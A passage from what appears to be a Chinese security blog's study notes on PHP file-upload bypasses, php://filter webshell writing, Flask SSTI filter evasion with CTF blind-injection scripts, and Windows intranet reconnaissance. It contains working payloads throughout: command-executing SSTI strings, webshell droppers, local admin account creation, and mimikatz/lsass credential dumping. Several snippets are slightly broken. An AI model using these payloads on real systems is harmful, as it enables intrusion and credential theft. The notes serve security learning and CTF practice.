$content = $_POST['content'];\n $ext = strtolower(substr(strrchr($filename,'.'),1));\n if($ext != 'php'){\n file_put_contents('upload/'.$filename,$content);\n }\n else{\n exit(\"Forbid!\");\n }\n?>\n```\n上面的测试代码中可以通过上传 **x.php\\n** 来进行黑名单绕过\n\n## 5. 白名单绕过\n\n通常来说,白名单绕过需要借助Web服务器的各解析漏洞或ImageMagick等组件漏洞\n\n### 5.1 Web服务器解析漏洞\n\n#### 5.1.1 IIS解析漏洞\n\n* 目录解析\n\nIIS 6中存在目录解析漏洞: **\"*.asp\"** 文件夹下的所有文件都会被当作asp脚本进行解析\n\n* 文件解析\n\nIIS 5.x - 6.x 中存在文件解析漏洞:服务器默认不解析 **\";\"** 后面的内容。例如文件名为 **\"xx.asp;a.jpg\"** 的文件会被解析成ASP文件,而上传 **\"xx.asp;a.jpg\"** 可以通过白名单的校验。\n\n#### 5.1.2 Nginx解析漏洞\n\nNginx的解析漏洞是由于配置不当造成的问题,在Nginx未配置 **try_files** 且 **FPM** 未设置 **security.limit_extensions** 的场景下,可能出现解析漏洞。Nginx的配置如下:\n\n```\nlocation ~ \\.php {\n # try_files $uri =404;\n fastcgi_pass\n unix:/Applications/MAMP/Library/logs/fastcgi/nginxFastCFI_php5.3.14.sock;\n fastcgi SCRIPT_FILENAME $document_root$fastcgi_script_name;\n include /Application/MAMP/conf/nginx/fastcgi_params;\n}\n```\n\n先上传 **x.jpg** ,再访问 **x.jpg/1.php** ,location为 **.php** 结尾,会交给FPM处理,此时 **$fastcgi_script_name** 的值为 **x.jpg/1.php** ;在PHP开启 **cgi.fix_pathinfo** 配置时, **x.jpg/1.php** 文件不存在,开始 fallback 去掉最右边的 \"/\" 及其后续内容,继续判断 x.jpg 是否存在;这时若存在,则会用PHP处理该文件\n\n### 5.2 Apache解析漏洞\n\n#### 5.2.1 多后缀文件解析漏洞\n\nApache中,单个文件支持拥有多个后缀,如果多个后缀都存在对应的 **handler** 或 **media-type** ,那么对应的 **handler** 会处理当前文件。\n\n如果在Apache的conf中有这样的配置\n\n```\nAddhandler php5-script .php\nAddHandler application/x-httped-php .php\n```\n\n那么即使文件名是 **xxx.php.jpg** 也会以php来执行\n\n```\nAddType application/x-httpd-php .php\nTypesConfig /Applications/MAMP/conf/apache/mime.types\n```\n\n在上面的Apache的配置下,当使用 **AddType** 时,多后缀文件会从最右后缀开始识别,如果后缀不存在 **MIME type** 或 **Handler** ,则会继续往左识别后缀,直到后缀有对应的 **MIME type** 或 **Handler** 。如 **test.php.qwe.asd.sdf**\n\n## 6. 文件禁止访问绕过\n\n测试中遇到一些允许任意上传的功能,在访问上传的脚本文件时发现并不能被解析或访问,通常是在Web服务器中配置上传目录下的脚本文件禁止访问。在上传目录下的文件无法被访问时,最好的绕过办法肯定是进行目录穿越上传到根目录,如尝试上传 **../x.php** 等类似文件。\n\n这种方法对 **$_FILES** 上传是不能实现的,原因在于,PHP在注册 **$_FILES['name']** 时调用 **_basename()** 方法处理了文件名,它会获得最后一个 **\"/\"** 或 **\"\\\\\"** 后面的字符,所以上传 **../x.php** 并不能实现目录穿越,因为在经过 **_basename()** 后注册到 **$_FILES['name']** 的值为 **x.php**\n\n### 6.1 .htaccess 禁止脚本文件执行绕过\n\n~~在低于9.22版本的 **jQuery-File-Upload** 在自带的上传脚本 **(server/php/index.php)** 中,验证上传文件~~\n\n### 6.2 配合文件包含绕过\n\n在PHP文件包含中,程序一般会限制包含的文件后缀只能为 “.php” 或其它特定后缀。在00截断越来越罕见的今天,如果上传目录脚本文件无法被访问或不被解析,那么可以上传一个PHP文件配合文件包含实现解析。\n\n```php\n//page.php\n//localhost/book/page.php\n\n<?php\n $dir = __DIR__\n $page = $_GET['page'];\n include $dir.'/'.$page.'.php'\n?>\n```\n\n```php\n//x.php\n//localhost/book/upload/x.php\n\n<?php\n echo 'hello world';\n?>\n```\n\n```\nhttp://localhost/asd/page.php?page=upload/x\n```\n\n## 7. 绕过图片验证实现代码执行\n\n### 7.1 文件相关信息检测\n\n#### 7.1.1 getimagesize绕过\n\n**getimagesize** 函数用来测定任何图像文件的大小并返回图像的尺寸以及文件类型,如果文件不是一张有效的图像文件,则返回FALSE并产生一条E_WARNING级错误。\n\n**getimagesize** 的绕过比较简单,只要将PHP代码添加到图片内容后就能成功绕过。\n\n#### 7.1.2 文件幻数检测\n\n检测文件内容开始处的文件幻数\n\n要绕过文件幻数检测就要在文件开头写下面的值\n\n```\nFF D8 FF E0 00 10 4A 46 49 46 //jpg\n47 49 46 38 39 61 //gif (GIF89a)\n89 50 4E 47 //png\n```\n\n然后在幻数后加上自己的一句话代码就可以了\n\n```php\n//shell.php\n\nGIF89a\n<?php phpinfo(); ?>\n```\n#### 7.1.3 图片马绕过\n\n```bash\ncopy 1.jpg/b+1.php/a 2.jpg # /b 指定以二进制格式复制、合并文件,用于图像、声音类文件;/a 指定以ASCII格式复制、合并文件,用于txt等文档类文件\n```\n\n上传图片马无法直接利用,需要配合文件解析或文件包含漏洞\n\n### 7.2 imagecreatefromjpeg绕过\n\n**imagecreatefromjpeg** 方法会渲染图像生成新的图像,在图像中注入脚本代码经过渲染后,脚本代码会消失\n\n该方法也有了成熟的绕过脚本:[jpg_payload](https://github.com/BlackFan/jpg_payload)\n\n绕过需要先上传正常图片文件,再下载回渲染后的图片,运行 **jpg_payload.php** 处理下载回来的图片,将代码注入图片中,然后上传新生成的图片,这样经过 **imagecreatefromjpeg** 后注入的脚本代码依然存在\n\n## 8. file_put_contents 文件上传\n\n### 8.1 绕过黑名单\n\n在file_put_contents 方法中,在文件名可控的情况下,能够实现目录穿越\n\n如下面的代码出现在Nginx+PHP环境中\n\n```php\n<?php\nini_set(\"display_errors\",\"on\");\n\n$name = $_POST['name'];\n\n$ext = strtolower(substr(strrchr($name,'.'),1));\n$content = $_POST['content'];\nif(!in_array($ext,array('php','php3','php4','php5','phtml')){\n $name = 'upload/'.$name;\n file_put_contents($name, $content);\n exit('ok');\n}else{\n exit('forbid');\n})\n?>\n```\n\nfile_put_contents 的文件名为 **\"yu.php/.\"** 时,能够正常写入php文件,并且代码获取的后缀为空字符串,可以绕过黑名单。\n\n这是因为在该方法中,如果路径以 **'/.'** 结尾,就会截断掉 **'/.'** 字符,处理成正常的路径。这种方法只能于创建新文件,不能用于覆盖文件。\n\n### 8.2 死亡之die绕过\n\n很多网站会把Log或缓存直接写入PHP文件,为了防止日志或缓存文件执行代码,会在文件开头加入 **<?php exit(); ?>**。如下代码:\n\n```php\n<?php\n$filename = $_POST['filename'];\n$content = \"<?php exit(); ?>\\n\";\n$content .= $_POST['content'];\n\nfile_put_contents($filename, $content);\nexit('upload success');\n?>\n```\n\n上面代码中,用户可以完全控制 filename,包括协议,所以这里可以使用一些字符串过滤器来把 **exit()** 处理掉,从而让后面写入的代码能够被执行,可以使用 **base64_decode** 来进行处理。\n\nPHP的 **base64_decode** 方法默认为非严格模式,只有当字符为 **+、/、0-9、a-z、A-Z** 时被解码,其余字符都会被跳过。 **<?php exit();?>** 除去被跳过的字符,剩余 **phpexit** ,在base64解码时每4字节为一组,**所以需要再填充1字节**,最终被解码为乱码,从而让后面的代码能够被正常执行\n\n```php\ncurl http://localhost/upload.php -- data \"filename=php://filter/write=convert.base64-decode/resource=x.php&content=xPD9waHAgZWNobyAiSGVsbG8gV29ybGQiOz8+\"\n```\n\n## 9. ZIP上传的问题\n\n### 9.1 未递归检测上传目录导致绕过\n\n为了解决解压文件带来的安全问题,很多程序会在解压完ZIP后,检测上传目录下是否存在脚本文件,如果存在,就删除。\n\n如下面的代码,在解压完成后,会通过readdir获取上传目录下的所有文件、目录,如果发现后缀不是jpg、gif、png的文件,就会删除。\n\n```php\n<?php\n$file = $_FILES['file'];\n$name = $file['name'];\n\n$dir = 'upload/';\n$ext = strtolower(substr(strrchr($name,'.'),1));\n$path = $dir.$name;\n\nif(in_array($ext,array('zip'))){\n move_uploaded_file($file['tmp_name'],$path);\n $zip = new ZipArchive();\n if ($zip->open($path) === true) {\n $zip->extractTo($dir);\n $zip->close();\n $handle = opendir($dir);\n while(($f = readdir($handle)) !== false){\n if(!in_array($f,array('.','..'))){\n $ext = strtolower(substr(strrchr($f, '.'), 1));\n if(!in_array($ext, array('jpg', 'gif', 'png'))){\n unlink($dir.$f);\n }\n }\n }\n exit('ok');\n } else{\n echo 'error';\n }\n} else{\n exit(\"仅允许上传zip文件\");\n}\n?>\n```\n\n但上述代码仅仅检测了上传目录,没有递归检测上传目录下的所有目录,所以如果解压出一个目录,那么目录下的文件不会被检测到。\n\nunlink 到一个目录时,仅会抛出一个 warning 。当然,也可以把压缩包内的目录命名为 **x.jpg** ,这样子会直接跳过unlink,连warning都不会抛出\n\n### 9.2 条件竞争导致绕过\n\n在上传的代码中,如果递归检测了上传目录下的所有目录,这种场景可以通过条件竞争的方式绕过,即在文件被删除前访问文件,生成另一个脚本文件到非上传目录中。通过不断上传文件与访问文件,在文件被删除前访问到文件,最终生成脚本到其他目录中实现绕过。\n\n```php\n<?php\nfputs(fopen('../shell.php','w'),'<?php phpinfo();?>');\n?>\n```\n\n### 9.3 解压产生异常退出实现绕过\n\n**ZipArchive** 对象中的 **extractTo** 方法在解压失败时会返回false\n\n可以构造出一种解压到一半然后解压失败的ZIP包。(利用010 Editor修改生成的ZIP包,将x.php后的内容修改为0xff然后保存生成的新ZIP文件)\n\n由于解压失败,在 check_dir 方法前执行了 exit,已解压的脚本文件就不会被删除\n\n","tags":["web"]},{"title":"文件包含-2","url":"/2022/11/21/文件包含(2)/","content":"\n# php://filter 的其它用法\n\n在前面写的文件包含中,对于php://filter的用法也只是使用 **convert** 过滤器。除此之外还有 **string** 过滤器,**convert.iconv** 可以使用\n\n## convert.iconv\n\n使用方法:\n\n```\nconvert.iconv.<input-encoding>.<output-encoding>\nor\nconvert.iconv.<input-encoding>/<output-encoding>\n```\n\n如\n\n```\nhttp://43.142.108.183:8085/?url=php://filter/read=convert.iconv.UTF-16BE.UTF-32BE/resource=/flag\n```\n\nPHP支持的部分编码如下:\n\n```\nUCS-4*\nUCS-4BE\nUCS-4LE*\nUCS-2\nUCS-2BE\nUCS-2LE\nUTF-32*\nUTF-32BE*\nUTF-32LE*\nUTF-16*\nUTF-16BE*\nUTF-16LE*\nUTF-7\nUTF7-IMAP\nUTF-8*\nASCII*\nEUC-JP*\nSJIS*\neucJP-win*\nSJIS-win*\nISO-2022-JP\nISO-2022-JP-MS\nCP932\nCP51932\nSJIS-mac\nSJIS-Mobile#DOCOMO\nSJIS-Mobile#KDDI\nSJIS-Mobile#SOFTBANK\nUTF-8-Mobile#DOCOMO\nUTF-8-Mobile#KDDI-A\nUTF-8-Mobile#KDDI-B\nUTF-8-Mobile#SOFTBANK\nISO-2022-JP-MOBILE#KDDI\n```\n\n在实际的测试过程中,可以构造好url,然后使用burpsuit对 \\<input-coding>、 \\<output-coding> 参数部分进行爆破,来查看哪些编码组合可以使用\n\n## string\n\n* string.rot13\n\n等同于用 str_rot13() 函数处理所有的流数据\n\n对字符串执行ROT13转换。通过传递一个经过编码的字符串作为参数,将会得到原始字符串\n\n```\ncontent=php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=shell.php\n\ncontent=php://filter/write=string.rot13/resource=<?cuc cucvasb();?>/../shell.php\n```\n\n* string.toupper\n\n将字符串转化为大写\n\n* string.tolower\n\n将字符串转化为小写\n\n\n## other\n\n还在网上看到下面这种形式,先记录下来,还没实际用到过\n\n* convert.quoted-printable-encode 和 convert.quoted-printable-decode\n\n使用此过滤器的decode版本等同于用 quoted_printable_decode()函数处理所有的流数据\n\n```\n?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php\n\nindex.php?file2=php://filter/write=convert.base64-encode/resource=test.txt&txt=Qftm \n?filename=php://filter/convert.base64-decode/resource=1.php/content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==\n//写入文件\n```\n\n[详解php://filter以及死亡绕过](https://blog.csdn.net/woshilnp/article/details/117266628)","tags":["web"]},{"title":"flask 注入绕过","url":"/2022/11/21/flask/","content":"\n# 1. SSTI模板注入绕过\n\n* **双大括号** 被过滤\n\n对于不会有回显的盲注,可以采用如下方式进行\n```python\n{% if xxx %}1{% endif %}\n\n{% if ().__class__.__base__.__subclasses__()[59].__init__.__globals__['___builtins__']['eval']('__import__(\"os\").popen(\"ls\").read()')%}1{% endif %}\n\n{% if ([][\"\\x5f\\x5f\\x63\\x6c\\x61\\x73\\x73\\x5f\\x5f\"][\"__ba\"\"se__\"][\"__subc\"\"lasses__\"]()[137][\"__in\"\"it__\"][\"\\x5f\\x5f\\x67\\x6c\\x6f\\x62\\x61\\x6c\\x73\\x5f\\x5f\"][\"popen\"](\"c\"+\"at /flag*\").read()|string)[i] == \"a\" %}1{% endif %} \n\n{% if ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()[0:1]=='r' %}1{% endif %} \n{% if ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()[0:2]=='ro' %}1{% endif %}\n# 获取文件内容\n```\n\n* **[]** 被过滤\n\n```python\n().__class__.__base__.__subclasses__().__getitem__(40)('/etc/passwd').read() # 利用__getitem__\n\n().__class__.__base__.__subclasses__().pop(40)('/etc/passwd').read() # 利用pop(pop只能用于list对象)\n```\n\n* **_** 被过滤\n\n可以利用GET或者POST传递参数来绕过,get参数对应request.arg属性,POST参数对应request.values属性\n```python\n{{ ()[request.args.class][request.args.base][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&base=__base__&subclasses=__subclasses__\n\n```\n\n* 关键字被过滤\n\n如绕过class,init等关键字,可以用如下方法绕过\n```python\n[][\"\\x5f\\x5f\\x63\\x6c\\x61\\x73\\x73\\x5f\\x5f\"][\"__ba\"\"se__\"][\"__ba\"+\"se__\"] # 拼接、编码\n\n[\"\\x5f\\x5fclass\\x5f\\x5f\"]\n```\n\n* **.** 被过滤\n\n```python\n{{\"\"['__classs__']}}\n\n\"\"|attr(\"__class__\")\n```\n\n# 2. 过滤器\n\n变量可以通过过滤器修改。过滤器与变量之间用管道(|) 隔开\n\n* **attr**\n\n获取变量\n\n```\n\"\"|attr(\"__class__\") # 相当于\"\".__class__\n```\n\n* str\n\n类似于python内置函数str,把显示到浏览器中的全部值转换为字符串再通过下标引用\n\n```python\n(().__class__|string)[0] # 出来的是<\n```\n\n# More\n\n更多的过滤方式可以看\n\n[SSTI模板注入绕过(进阶篇)](https://blog.csdn.net/miuzzx/article/details/110220425)\n[ssti模板注入总结](https://blog.csdn.net/weixin_44576725/article/details/124176797)\n\n# 3. scuctf flask盲注\n\n这道题就是无回显形式的flask盲注,正确的情况会返回Ok,错误的情况会返回NO。输入被过滤的字符会返回N0。被过滤的字符如下\n```\nbacklist = ['{{', 'for', 'eval', 'builtins', 'class', 'base', 'subclasses', 'globals', 'init', 'import', 'config', 'item', 'request', 'ls', 'cat']\n```\n\n注意的一点是,这道题用了两次__base__才正常返回了Object类\n\n盲注找可以利用的类的脚本如下\n```python\nimport requests\nimport string\n\nurl_class = r'http://114.117.187.56:11003/view?name={% if \"_wrap_close\" in ([][\"\\x5f\\x5f\\x63\\x6c\\x61\\x73\\x73\\x5f\\x5f\"][\"__ba\"\"se__\"][\"__ba\"\"se__\"][\"__subc\"\"lasses__\"]()'\nwhile True:\n payload = url_class+'['+str(i)+']|string) %}1{% endif %}'\n print(payload)\n r=requests.get(payload)\n if(r.text == 'Ok'):\n print(i)\n break\n i = i + 1\n```\n\n替换类一个一个进行测试,可以得到如下类\n```python\n##### 137 -> <class 'os._wrap_close'>\n##### 138 -> <class+'_sitebuiltins.Quitter'\n##### 139 -> <class+'_sitebuiltins._Printer'>\n##### 140 -> <class+'_sitebuiltins._Hel\n```\n\n于是使用[137] 子类开始进行盲注\n\n```python\nimport requests\nimport string\n\nurl = r'http://114.117.187.56:11003/view?name={% if ([][\"\\x5f\\x5f\\x63\\x6c\\x61\\x73\\x73\\x5f\\x5f\"][\"__ba\"\"se__\"][\"__ba\"\"se__\"][\"__subc\"\"lasses__\"]()[137][\"__in\"\"it__\"][\"\\x5f\\x5f\\x67\\x6c\\x6f\\x62\\x61\\x6c\\x73\\x5f\\x5f\"][\"popen\"](\"c\"+\"at /flag*\").read()|string)'\n# url2 = r'http://114.117.187.56:11003/view?name={% if ([][\"\\x5f\\x5f\\x63\\x6c\\x61\\x73\\x73\\x5f\\x5f\"][\"__ba\"\"se__\"][\"__ba\"\"se__\"]|string)'\n# url3 = r'http://114.117.187.56:11003/view?name={% if ([][\"\\x5f\\x5f\\x63\\x6c\\x61\\x73\\x73\\x5f\\x5f\"]|string)'\n\nurl_test = r'http://114.117.187.56:11003/view?name={% if ([][\"\\x5f\\x5f\\x63\\x6c\\x61\\x73\\x73\\x5f\\x5f\"][\"__ba\"\"se__\"][\"__ba\"\"se__\"][\"__subc\"\"lasses__\"]()[137]|string)'\n\n\nclass_str=\"\"\ni=0\n\nwhile True:\n for j in range(128):\n payload = url+'['+str(i)+']==\\\"'+chr(j)+'\\\" %}1{% endif %}'\n # print(payload)\n r=requests.get(payload)\n if(r.text == 'Ok'):\n class_str += chr(j)\n i += 1\n print(i)\n print(class_str)\n break\n else:\n # print(r.text) \n continue \n```","tags":["web","wp","ctf"]},{"title":"内网基础","url":"/2022/11/04/内网基础/","content":"\n# 内网渗透测试基础\n\n[内网环境与活动目录的概念](https://www.freebuf.com/articles/network/283763.html)\n\n[活动目录Active Directory的查询](https://www.freebuf.com/articles/network/283764.html)\n\n[域用户组及域内权限划分](https://www.freebuf.com/articles/network/283765.html)\n\n[OU组织单位](https://www.freebuf.com/articles/network/283766.html)\n\n[域用户和机器用户](https://www.freebuf.com/articles/network/283767.html)\n\n-------\n\n# 内网横向移动\n\n[内网横向移动基础总结](https://www.freebuf.com/articles/network/251364.html)\n\n[域内横向移动总结](https://www.freebuf.com/articles/web/318068.html)\n\n[获取域内单机密码与Hash](https://www.freebuf.com/articles/245697.html)\n\n-------\n\n# 1. 本机基础信息收集\n\n```bash\nwhoami /all # 查看当前用户、所处用户组、特权等。综合判断是否需要后续提权\n```\n\n```bash\nipconfig /all # 网络配置情况,判断当前主机所处的内网网段,后续可以扫描不同的网段来探测内网中的主机。\n```\n在域环境中,DNS服务器的IP地址通常可能为**域控制器地址**\n\n```bash\nroute print # 查看主机路由表\n```\n在路由表中的 **“网络目标”** 都是主机可以直接访问到的\n\n```bash\nsysteminfo\nsysteminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\" # 查看操作系统及版本\nsysteminfo | findstr /B /C:\"OS 名称\" /C:\"OS 版本\"\n```\n查看主机操作系统信息,包括主机名、操作系统版本、系统目录、所处工作站(域或组)、网卡信息、安装补丁信息等\n\n```bash\nnetstat -ano\n```\n查看主机端口监听或开放状况。这是测试人员收集内网地址段信息的切入点\n\n```bash\nnet session\n```\n查看当前主机与所连接的客户端主机间的会话\n\n```bash\nnet share\n```\n查看当前主机开启的共享列表\n\n```bash\nnet user\nnet user <username>\n```\n查看目标主机上的本地用户信息\n\n```bash\nquery user\n```\n查看当前主机登录的用户\n\n```bash\nnet user <username> <password> /add # 创建本地用户\nnet localgroup administrators <username> /add # 将用户加入本地管理员组\n```\n在目标主机本地创建一个新的用户并加入本地管理员组\n\n```bash\nnet use\n```\n查看当前主机与其它主机远程建立的网络共享连接\n\n```bash\nnet localgroup administrators\n```\n查看本地管理员组\n\n```bash\ntasklist \ntasklist /SVC\n```\n查看当前主机的所有进程的信息。测试人员通常根据得到的进程列表确定目标主机上本地程序的运行情况,并对目标主机上运行杀毒软件等进行识别 \n\n```bash\nwmic process get Name, ProcessId, ExecutablePath # 通过WMIC查询主机进程信息,并过滤出进程的路径、名称、PID\n\nwmic process where Name=\"msdtc.exe\" get ExecutablePath # 查看指定进程的路径信息\n\nwmic service get Caption, Name, PathName, StartName, State # 查看当前所有服务的信息,并过滤出服务的名称、路径、创建时间、运行状态信息\n\nwmic service where Name=\"backdoor\" get Caption, PathName, State # 查看指定服务的信息,并过滤出服务名称、路径和运行状态\n\nwmic startup get Caption, Command, Location, User # 查看当前主机上所有的自启程序信息,并过滤程序名称、所执行的命令、程序的路径、所属用户\n\nwmic qfe get Caption, CSName, Description, HotFixID, InstalledOn # 查看当前主机安装的补丁列表,并过滤出补丁链接、名称、描述、编号以及安装事件\n\nwmic product get Caption, Version # 查看目标主机上安装的应用软件信息,并过滤出应用的名称和版本\n```\nWMIC是微软为Windows管理规范提供的一个命令行工具\n\n```bash\nschtasks /query /v /fo list # 应该是需要管理员权限\n```\n查看当前主机上所有的计划任务\n\n# 2. 域内基础信息收集\n\n```bash\nnet config workstation\n```\n查看当前工作站的信息,包括当前计算机名、用户名、系统版本、工作站、登录的域等信息\n\n```bash\nnet user /domain\n```\n查看所有的域用户\n\n```bash\nnet user <username> /domain\n```\n查看指定域用户的详细信息\n\n```bash\nwmic useraccount get Caption, Domain, Description\n```\n获取所有用户的SID、所属域和用户描述信息\n\n*只有域用户才有权限执行域内查询操作。本地用户除非提升为本地系统权限,否则只能查询本机信息。*\n\n```bash\nnet group /domain\n```\n列出域内所有用户组\n\n```bash\nnet group \"Domain Admins\" /domain # 查看与管理员组,可以得到所有域管理员用户\n\nnet group \"Domain Computers\" /domain # 查询域成员主机组\n\nnet group \"Domain Users\" /domain # 查询域用户组\n\nnet group \"Enterprise Admins\" /domain # 查询企业系统管理员组\n\nnet group \"Domain Controllers\" /domain\n```\n默认情况下,Domain Admins组和Enterprise Admins组中的用户对域内所有域控制器和域成员主机拥有完全控制权限。Enterprise Admins组是一个通用组,是域林的根域中的一个组,并且其中的成员对域林中的所有域拥有完全控制权限。Domain Admins组只一个全局组,只对本域拥有完全控制权限\n\n```bash\nnltest /DCLIST:hack-my.com\n```\n也可以通过nltest命令查询指定域内的域控制器主机列表\n\n```bash\nnet accounts /domain\n```\n查询域内用户的密码策略\n\n```bash\nnet time /domain\n```\n域环境中,主域控制器会同时被用作时间服务器,使得域中所有计算机的时钟同步。可以通过查询时间服务器来找到主域控制器的名称\n\n```bash\nping DC-1.hack-my.com\n```\n在知道目标主机的主机名后,可以直接对主机名执行ping命令,根据执行返回的内容得到目标主机在内网中的IP地址。除此之外,域控制器往往被用作DNS服务器,因此找到当前主机的DNS服务器地址也可以定位到域控\n\n```bash\nnltest /domian_trusts # 查看域信任关系\n```\n域信任用于多域环境中的跨域资源的共享。一般情况下,一个域的用户只能访问本域内的资源,无法访问其它域的资源,而要想不同域之间实现互访就需要建立域信任\n\n# 3. 内网资源探测\n\n## 3.1 发现内网存活主机\n\n* 基于ICMP\n\n```bash\nfor /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr \"TTL=\" # 循环探测整个局域网C段中存活的主机\n# FOR /L %variable in (start,step,end) DO command 以增量形式从开始到结束的一个数字序列\n# -w 等待每次回复的超过时间\n# -n 要发送的回显请求数\n```\n可以通过ICMP循环对整个网段的每个IP地址执行ping命令,所有能够ping通的IP地址即为内网中存活的主机\n\n* 基于NetBIOS(网络基本输入/输出系统)协议\n\nNetBIOS是应用层服务,让不同计算机上运行的不同程序可以在局域网中互相连接和共享数据。NetBIOS是一种应用程序接口(API)。几乎所有的局域网都是在NetBIOS协议的基础上工作,操作系统可以利用WINS服务、广播、Lmhost文件等模式将NetBIOS名解析为对应的IP地址。Windows中默认安装TCP/IP后会自动安装NetBIOS。\n\n```bash\nnbtscan.exe 10.10.10.1/24 # 探测整个局域网中存活的主机\n```\nNBTScan是一款用于扫描Windows网络上NetBIOS名称的程序,用于发现内网中存活的Windows主机。它可以对给定IP范围内的每个IP地址发送NetBIOS状态查询,并且以易读的表格列出收到的信息。对于每个响应的主机,会列出它的IP地址、NetBIOS计算机名、登录用户名和MAC地址\n\n* 基于UDP\n\n可以将一个空的UDP报文发送到目标主机的待定端口,如果目标主机端口是关闭的,则会得到一个ICMP端口不可达的回应报文,这意味着该主机正在运行。\n\n```bash\nunicornscan -mU 10.10.10.0/24\n```\nUnicornscan是Kali的一款信息收集工具,提供了网络扫描功能。执行上面的协议会通过UDP协议扫描内网的存活主机\n\n* 基于ARP\n\n向网络中发送一个ARP请求,若目标主机处于活跃状态,则其一定会回应一个ARP响应,否则不会做出任何回应\n\n```bash\narp-scan.exe -t 10.10.10.0/24\n```\nARP-scan是一款快速、便携的内网扫描工具,利用ARP发现内网中存活的主机\n\n* 基于SMB\n\nSMB又被称为网络文件共享系统(CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139或445端口,目前倾向使用445端口\n\n```bash\ncrackmapexec smb 10.10.10.0/24 # 探测局域网中存在的SMB服务,从而发现内网中存活的主机\n```\nCrackMapExec(CME)是一款十分强大的后渗透利用工具,在Kali上可以直接使用apt-get安装。它可以枚举登录用户、枚举SMV服务列表、执行WINRM攻击等功能,可以帮助测试人员自动化评估大型域网络的安全性,具体见github\n\n## 3.2 内网端口扫描\n\n* Telnet\n\n```bash\ntelnet <IP> <Port>\n```\n简单测试指定的端口号是正常打开还是关闭状态\n\n* Nmap\n\n```bash\nnmap -p 80,88,135,139,443,8080,3306,3389 10.10.10.11\n```\n扫描目标主机的指定端口\n\n```bash\nnmap -sS -p 1-65535 10.10.10.11\n```\n扫描目标开放的全部端口\n\n```bash\nnmap -sC -sV -p 80,88,135,139,443,8080,3306,3389 10.10.10.11\n```\n扫描并获取目标主机指定端口开放的服务版本\n\n* PowerShell\n\n```bash\nInvoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.20 -ResolveHost -ScanProt\n```\nNiShang是基于PowerShell的渗透测试专用框架,集成了各种脚本和Payload。Nishang的Scan模块中有一个Invoke-PortsCan.ps1 脚本,可以用来对主机进行端口扫描\n\n## 3.3 利用MetaSploit探测内网\n\nMetaSploit内置了几款资源收集模块\n\n* 主机存活探测模块\n\n```bash\nauxiliary/scanner/netbios/nbname # 基于NetBIOS探测存活主机\nauxiliary/scanner/discovery/udp_probe # 基于UDP探测存活主机\nauxiliary/scanner/discovery/udp_sweep # 基于UDP探测存活主机\nauxiliary/scanner/discovery/arp_sweep # 基于ARP探测存活主机\nauxiliary/scanner/snmp/snmp_enum # 基于SNMP探测存活主机\nauxiliary/scanner/smb/smb_version # 基于SMB探测存活主机\n```\n\n* 内网端口扫描模块\n\n```bash\nauxiliary/scanner/portscan/ack # 基于TCP ACK进行端口扫描\nauxiliary/scanner/portscan/tcp # 基于TCP进行端口扫描\nauxiliary/scanner/portscan/syn # 基于SYN进行端口扫描\nauxiliary/scanner/portscan/xmas # 基于XMas进行端口扫描\n```\n\n* 服务探测模块\n\n```bash\nauxiliary/scanner/ftp/ftp_version # 探测内网ftp服务\nauxiliary/scanner/ssh/ssh_version # 探测内网ssh服务\nauxiliary/scanner/telnet/telnet_version # 探测内网Telnet服务\nauxiliary/scanner/dns/dns_amp # 探测内网NDS服务\nauxiliary/scanner/http/http_version # 探测内网HTTP服务\nauxiliary/scanner/mysql/mysql_version # 探测内网Mysql服务\nauxiliary/scanner/mssql/mssql_schemadump # 探测内网SQL Server服务\nauxiliary/scanner/oracle/oracle_hashdump # 探测内网Oracle服务\nauxiliary/scanner/postgres/postgres_version # 探测内网Postgres服务\nauxiliary/scanner/db2/db2_version # 探测内网DB2服务\nauxiliary/scanner/redis/redis_server # 探测内网Redis服务\nauxiliary/scanner/smb/smb_version # 探测内网SMB服务\nauxiliary/scanner/rdp/rdp_scanner # 探测内网RDP服务\nauxiliary/scanner/smtp/smtp_version # 探测内网SMTP服务\nauxiliary/scanner/pop3/pop3_version # 探测内网POP3服务\nauxiliary/scanner/imap/imap_version # 探测内网IMAP服务\n```\n\n## 3.4 获取端口Banner信息\n\n* NetCat\n\n```bash\nnc -nv 10.10.10.15 21\n```\n通过指定NetCat的“-nv”选项,在连接指定的端口时获取该端口的Banner信息\n\n* Telnet\n\n```bash\ntelnet 10.10.10.15 21\n```\n目标端口开放,也会返回相应的Banner信息\n\n* Nmap\n\n```bash\nnmap --script=banner -p <Ports> <IP>\n```\n\n# 4. 用户凭据收集\n\n## 4.1 获取域内单机密码和哈希值\n\nWindows中,**SAM** 文件时Windows用户的账户数据库,位于系统的 **%SystemRoot%\\System32\\Config** 目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。\n\n**lsass.exe** 是Windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登陆策略。在通常情况下,用户输入密码登陆后,登录的域名、用户名和登录凭据等信息会存储在 **lsass.exe** 的进程空间中,用户的明文密码经过WDigest和Tspkg模块调用后,会对其使用可逆的算法进行加密并存储在内存中。\n\n用于获取主机的用户密码和哈希值的工具大多是通过读取 **SAM** 文件或访问 **lsass.exe** 进程的内存数据等操作实现的。这些操作大多需要管理员权限,这意味着需要配合一些**提权**操作。\n\nMimikatz是一款功能强大的凭据转储开源程序,可以帮助测试人员提升进程权限、注入进程、读取进程内存等。\n\n* 在线读取lsass进程内存\n\n```bash\nmimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords full\" exit\n# privilege::debug,用于提升至DebugPrivilege权限;sekurlsa::logonpasswords,用于导出用户凭据\n```\n上述命令可以直接从lsass.exe 进程的内存中读取当前已登录用户的凭据\n\n* 离线读取lsass内存文件\n\n除了在线读取,也可以把lsass.exe的进程内存转储,将内存文件导出到本地后,使用Mimikatz进行离线读取。\n\n用于转储进程内存的工具有很多:**QutMinidump.ps1** 、 **Procdump** 、 **SharpDump**\n\n这里使用微软官方工具SharpDump工具\n```bash\nprocdump.exe -accepteula -ma lsass.exe lsass.dmp\n```\n\n然后执行下面的命令\n```bash\nmimikatz.exe \"sekurlsa::minidump lsass.dmp\" 